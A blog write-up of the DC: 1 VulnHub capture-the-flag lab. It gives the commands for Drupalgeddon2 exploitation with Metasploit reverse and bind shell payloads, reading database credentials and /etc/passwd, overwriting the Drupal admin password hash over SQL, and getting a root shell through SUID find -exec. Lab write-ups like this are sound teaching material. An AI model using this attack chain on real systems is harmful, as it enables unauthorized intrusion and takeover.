June 24, 2026
# DC: 1 — A Beginner’s Root-to-Root Walkthrough (Drupalgeddon2 → SUID find)
*A detailed, screenshot-documented walkthrough of the DC: 1 VulnHub boot2root machine, including every wrong turn, networking gotcha, and…
By Mkmohmedmoideenjamaludeen
11 min read
A detailed, screenshot-documented walkthrough of the DC: 1 VulnHub boot2root machine, including every wrong turn, networking gotcha, and "why did that just work" moment along the way.
— -
Introduction
DC: 1 is the first machine in the DC series of VulnHub VMs, created by DCAU7. It's a deliberately vulnerable Debian-based box built around an unpatched Drupal 7 installation, designed to teach a complete attack chain: web app exploitation → credential harvesting → privilege escalation. There are five flags scattered across the box, each one nudging you toward the next step.
This write-up documents my full run through the machine — including the debugging detours, because honestly, that's where most of the actual learning happened. If you're following along, the goal isn't just to get root; it's to understand why each technique works.
Environment:
- Attacker: Kali Linux, running in UTM on Apple Silicon (Shared Network / NAT mode)
- Target: DC: 1 (VulnHub), same NAT subnet —
192.168.64.27 - Attacker IP:
192.168.64.20
— -
Stage 1: Reconnaissance
Finding the target on the network
First step on any internal engagement: figure out what's actually alive on the network. arp-scan does this by sending ARP requests across the subnet and listening for replies — since ARP operates below IP routing, it reliably reveals every live host on the local segment, even ones that don't respond to ICMP pings.
sudo arp-scan -lsudo arp-scan -l
[arp-scan revealing the target IP]
arp-scan identifies two hosts on the subnet: 192.168.64.1 (the NAT gateway) and 192.168.64.27 (our target).
Full port and service scan
With a target IP in hand, it's time for a deep nmap sweep — not just the default top-1000 ports, but all 65,535, since CTF boxes love hiding services on non-standard ports:
nmap -sC -sV -p- -T4 192.168.64.27nmap -sC -sV -p- -T4 192.168.64.27-p-scans every TCP port instead of the default top 1000-sVdoes service/version detection (banner grabbing)-sCruns nmap's default safe NSE scripts, which can pull extra metadata like HTTP headers, generator tags, etc.-T4speeds up timing aggressiveness, since this is a local network with negligible latency
This takes longer than a quick scan (here, about 32 seconds) because every open port gets probed for version info and scripted checks — worth the wait for the completeness.
[Full nmap scan results]
Results: 22/tcp OpenSSH 6.0p1 (Debian), 80/tcp Apache 2.2.22 with http-generator: Drupal 7, and 111/tcp rpcbind.
That http-generator: Drupal 7 line is the whole game right there — nmap's NSE script pulled the CMS fingerprint straight out of the page metadata, telling us immediately that we're dealing with a Drupal 7 site, which is notoriously vulnerable to Drupalgeddon2 (CVE-2018–7600) if unpatched.
— -
Stage 2: Exploitation — Drupalgeddon2 (CVE-2018–7600)
The vulnerability, conceptually
Drupal 7's Form API allows certain request parameters to be treated as nested arrays (e.g. mail[#value]=something). A flaw in how Drupal rendered array-based form elements meant an attacker could smuggle PHP-executing render-array keys (like #post_render or #markup) into an unauthenticated AJAX endpoint. Because no login was required to hit that endpoint, this became a pre-auth remote code execution bug — one of the most severe CMS vulnerabilities of 2018.
First attempt: reverse shell, no joy
msfconsole
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.64.27
set LHOST 192.168.64.20
set LPORT 4444
runmsfconsole
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.64.27
set LHOST 192.168.64.20
set LPORT 4444
run
[First exploit attempt — module options and run output]
The exploit "completes" but: Exploit completed, but no session was created. AutoCheck also couldn't validate the exact patch level.
Debugging round 1: is RCE even happening?
Rather than guess, I isolated the question: is the injection working at all, separate from whether the callback (reverse shell connection) ever arrives?
set DUMP_OUTPUT true
set PHP_FUNC system
runset DUMP_OUTPUT true
set PHP_FUNC system
run
[Raw AJAX response dumped to console]
The raw HTTP response — a Drupal-generated JSON AJAX payload containing two PHP Notices about undefined array indices in file_ajax_upload().
At first glance this looked like a dead end (no uid=33(www-data) style output visible). But after cross-referencing public reports — including a Drupal.org issue thread documenting the exact same notices appearing during real-world Drupalgeddon2 exploitation attempts — it became clear this is actually a normal side effect of the exploit chain hitting the right vulnerable code path (the file_ajax_upload() function used to prime Drupal's form cache), not proof of failure.
Debugging round 2: AutoCheck is the false signal
The real clue was this line, appearing consistently across every attempt:
[!] The service is running, but could not be validated. Detected version 7[!] The service is running, but could not be validated. Detected version 7This is Metasploit's AutoCheck — a pre-flight probe that fingerprints the exact Drupal patch level before attacking. VulnHub boxes often strip the version markers AutoCheck relies on, so the check fails even though the target is genuinely vulnerable. The fix: skip it entirely and just attack.
unset DUMP_OUTPUT
unset PHP_FUNC
set AutoCheck false
rununset DUMP_OUTPUT
unset PHP_FUNC
set AutoCheck false
run
[AutoCheck disabled, exploit run again]
AutoCheck is bypassed… but still: Exploit completed, but no session was created. Progress on diagnosis, but not yet a working shell.
Debugging round 3: ruling out Metasploit state
Before assuming something was fundamentally broken, I ruled out the boring explanation — leftover state from previous failed runs:
jobs -l
jobs -K
exitjobs -l
jobs -K
exitmsfconsole -q
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.64.27
set LHOST 192.168.64.20
set LPORT 4444
runmsfconsole -q
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.64.27
set LHOST 192.168.64.20
set LPORT 4444
run
[Clean msfconsole restart, identical failure] Fresh session, zero leftover jobs, identical settings — and the exact same failure. This ruled out stale state entirely; whatever was wrong was external to Metasploit.
(Side detail visible in this screenshot: a flag3 content node was already sitting open in the browser from earlier site browsing — Drupal nodes are publicly viewable by default, so some flags can simply be found by clicking around, no exploitation required.)
The actual root cause: NAT blocking the reverse callback
Here's the concept that cracked it: a reverse shell (php/meterpreter/reverse_tcp) requires the target to open a new outbound connection back to the attacker. Every other interaction so far — nmap, HTTP requests, the exploit payload itself — was Kali-initiated traffic to the target, which had worked flawlessly every time. A connection into Kali, initiated by something else, had never once succeeded.
That asymmetry is the signature of NAT. UTM's Shared Network mode puts each VM behind a virtual NAT layer — outbound connections from a VM work fine, but a fresh inbound connection initiated by another VM on the same NAT network often gets silently dropped, the same way a home router won't let a random outside server connect into your laptop uninvited.
The fix: flip the payload direction
Instead of fighting the network configuration, switch to a bind shell — which makes the target open a listening port, and lets Kali connect out to it (the direction that was already proven to work):
set payload php/meterpreter/bind_tcp
set LPORT 4444
unset LHOST
runset payload php/meterpreter/bind_tcp
set LPORT 4444
unset LHOST
run
[Meterpreter session finally opens via bind_tcp]
Meterpreter session 1 opened (192.168.64.20:41865 → 192.168.64.27:4444) — note the connection direction: Kali initiated it, exactly as expected.
That one direction flip resolved everything. The exploit had been working the entire time; only the reverse-shell delivery mechanism was incompatible with the network topology.
— -
Stage 3: Foothold — Stabilizing the Shell
meterpreter > shellmeterpreter > shellThe dropped shell is a raw, non-interactive pipe — no tab completion, no proper signal handling, no job control. Upgrading it to a real TTY makes everything from here on dramatically easier:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# python3 not found → fall back:
which python
python -c 'import pty;pty.spawn("/bin/bash")'python3 -c 'import pty; pty.spawn("/bin/bash")'
# python3 not found → fall back:
which python
python -c 'import pty;pty.spawn("/bin/bash")'
[Shell stabilized, whoami confirms www-data]python3 isn't installed on this old Debian build (consistent with the 2013-era OpenSSH/Apache banners from our nmap scan) — falling back to plain python (Python 2, the system default on Debian of that era) works fine. whoami confirms www-data.
— -
Stage 4: Flag 1 and Database Credentials
cd /var/www
ls -la
cat flag1.txtcd /var/www
ls -la
cat flag1.txt
[flag1.txt found in the webroot] Flag 1: "Every good CMS needs a config file — and so do you." — a direct nudge toward Drupal's database configuration file.
cat sites/default/settings.php | grep -A 10 "databases"cat sites/default/settings.php | grep -A 10 "databases"
[Database credentials extracted from settings.php] Full credentials block:
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'driver' => 'mysql','database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'driver' => 'mysql',Notice 'host' => 'localhost' — MySQL is only listening on loopback, which is why our earlier full-port nmap scan never showed port 3306 open. The only way in is from inside the box, which we now have.
— -
Stage 5: Database Access and Privilege Hijacking
mysql -u dbuser -pmysql -u dbuser -p
[Logging into MySQL with the leaked credentials]
Once inside:
use drupaldb;
show tables;use drupaldb;
show tables;
[Drupal's table listing, part 1]
[Drupal's table listing, part 2 — users table visible]
80 tables total — standard Drupal 7 schema. users and users_roles are the ones that matter here.
select uid, name, pass from users;select uid, name, pass from users;
[Users table dump — admin, Fred, admin7 with salted hashes]
Four accounts surfaced: admin (uid 1), Fred (uid 2), admin7 (uid 3), plus Drupal's built-in anonymous placeholder (uid 0). Important Drupal-specific fact: uid 1 is always the true administrator, hardcoded into Drupal core to bypass all permission checks — regardless of what any role table says. That's our target.
Each pass value carries Drupal 7's $S$ prefix, identifying its custom salted SHA-512 hashing scheme. Cracking it is unnecessary effort, though — with direct write access to the same database the application trusts as its source of truth, we can simply generate a new valid hash and overwrite the old one.
Generating a Drupal-compatible hash
php scripts/password-hash.sh newpassword123php scripts/password-hash.sh newpassword123This calls Drupal's own user_hash_password() function directly, guaranteeing the output is byte-for-byte compatible with what Drupal's login form expects.
[First attempt — typed at the wrong prompt by mistake]
(Worth showing the mistake, not just the fix: this command was first typed while still sitting at the mysql> prompt, where MySQL tried — and failed — to interpret it as SQL. A good reminder that shell commands and SQL statements are not interchangeable, even though they're both typed into the same terminal window.)
After exiting MySQL and running the command correctly from the bash shell:
exit;exit;php scripts/password-hash.sh newpassword123php scripts/password-hash.sh newpassword123mysql -u dbuser -p
use drupaldb;
UPDATE users SET pass='$S$DfpJpc7wM8vBuCunhbJIgBzHTMaWu1nRZW5NZ9TNMKm0wl95Sy19' WHERE uid=1;mysql -u dbuser -p
use drupaldb;
UPDATE users SET pass='$S$DfpJpc7wM8vBuCunhbJIgBzHTMaWu1nRZW5NZ9TNMKm0wl95Sy19' WHERE uid=1;
[Hash generated and UPDATE query confirmed]
Query OK, 1 row affected — Rows matched: 1, Changed: 1. The admin account's password hash has been overwritten with one we control.
Logging in as administrator
Navigating to [http://192.168.64.27/user/login](http://192.168.64.27/user/login) with username adminand passwordnewpassword123`:
[Logged in as Drupal admin]
Hello admin, full administrative toolbar — Dashboard, Content, Structure, Modules, People. Full CMS control achieved purely through direct database access, never touching the login form's actual authentication logic.
This is the broader lesson worth sitting with: write access to an application's database is functionally equivalent to full application compromise. The app trusts the DB as ground truth for what's a "correct" password — overwrite that ground truth, and the app agrees with whatever you wrote.
— -
Stage 6: Privilege Escalation — Local Enumeration
Finding the next target user
cat /etc/passwdcat /etc/passwd
[Full /etc/passwd listing]
Buried among the standard system accounts: flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash — a real, interactive local account.
ls -la /home/flag4
cat /home/flag4/flag4.txtls -la /home/flag4
cat /home/flag4/flag4.txt
[flag4.txt content and directory listing]
Flag 4: "Can you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is?"
(Small detail worth noting in that listing: every file is world-readable -rw-r — r — except .bash_history, locked to -rw — — — -. Whoever built this box deliberately made the flag easy to grab while keeping command history private — a useful habit to notice on any box: permission differences often signal what the author wants you to find versus skip.)
Hunting for SUID misconfigurations
A SUID ("Set-UID") bit on a binary means it executes with the privileges of its owner, not the user running it — a deliberate, narrow exception that exists for tools like passwd (which needs brief root access to modify /etc/shadow on a user's behalf). The danger is when SUID gets applied to a general-purpose tool that was never designed with that restriction in mind.
find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null
[SUID binary enumeration results]
Among the expected legitimate SUID binaries (passwd, chsh, su, newgrp) sits /usr/bin/find — a tool that should never have this bit set, because it has a built-in -exec flag capable of running arbitrary commands.
Exploiting SUID find
find / -type f -name flag4.txt -exec "whoami" \;find / -type f -name flag4.txt -exec "whoami" \;
[whoami test confirms root, then a root shell is obtained]
whoami returns root — confirmation the technique works. Following up with:
find / -type f -name flag4.txt -exec "/bin/sh" \; -quitfind / -type f -name flag4.txt -exec "/bin/sh" \; -quit…drops straight into a root shell. Prompt changes from $ to #.
— -
Stage 7: Final Flag
cd /root
ls -la
cat thefinalflag.txtcd /root
ls -la
cat thefinalflag.txt
[Root directory listing and final flag content] "Well done!!!! Hopefully you've enjoyed this and learned some new skills." — box complete, full root access confirmed.
— -
Full Attack Chain Summary
| Stage | Action | Core Concept |
| — -| — -| — -|
| Recon | arp-scan + nmap -p- -sC -sV | Full port sweep + banner grabbing revealed Drupal 7 |
| Initial Access | Drupalgeddon2 (CVE-2018–7600) | Form API render-array injection → unauthenticated RCE |
| Obstacle | Reverse shell never connected | UTM NAT silently drops inbound connections to attacker |
| Fix | Switched to bind_tcp payload | Flipped connection direction to outbound-from-attacker |
| Foothold | www-data shell via Meterpreter | Stabilized with a Python PTY spawn |
| Flag 1 → Creds | sites/default/settings.php | Web-readable config files leak DB credentials |
| Flags 2/3 → Admin | MySQL users table + password-hash.sh | DB write access = full app compromise, no cracking needed |
| Flag 4 → Privesc target | /etc/passwd enumeration | Local user enumeration after gaining a foothold |
| Privesc → Root | SUID bit on /usr/bin/find | Misconfigured SUID + -exec = arbitrary root command execution |
Key Takeaways
- An error message is information, not just an obstacle. AutoCheck's "could not be validated" warning was benign (version fingerprinting failure); "no session was created" pointed to a real, fixable network issue. Learning to tell those apart quickly saves a lot of time.
- Reverse vs. bind shells aren't interchangeable defaults. In any NAT'd or firewalled lab environment, know which direction your payload needs to connect, and have both options ready.
- Config files are credentials waiting to be read. Any world-readable application config file holding DB credentials should be treated as a critical finding in a real assessment, not just a CTF stepping stone.
- SUID audits are cheap and high-value. A single
find / -perm -u=s -type fcommand can be the difference between a stuck low-priv shell and full root.
— -
Machine: DC: 1 on VulnHub — created by DCAU7.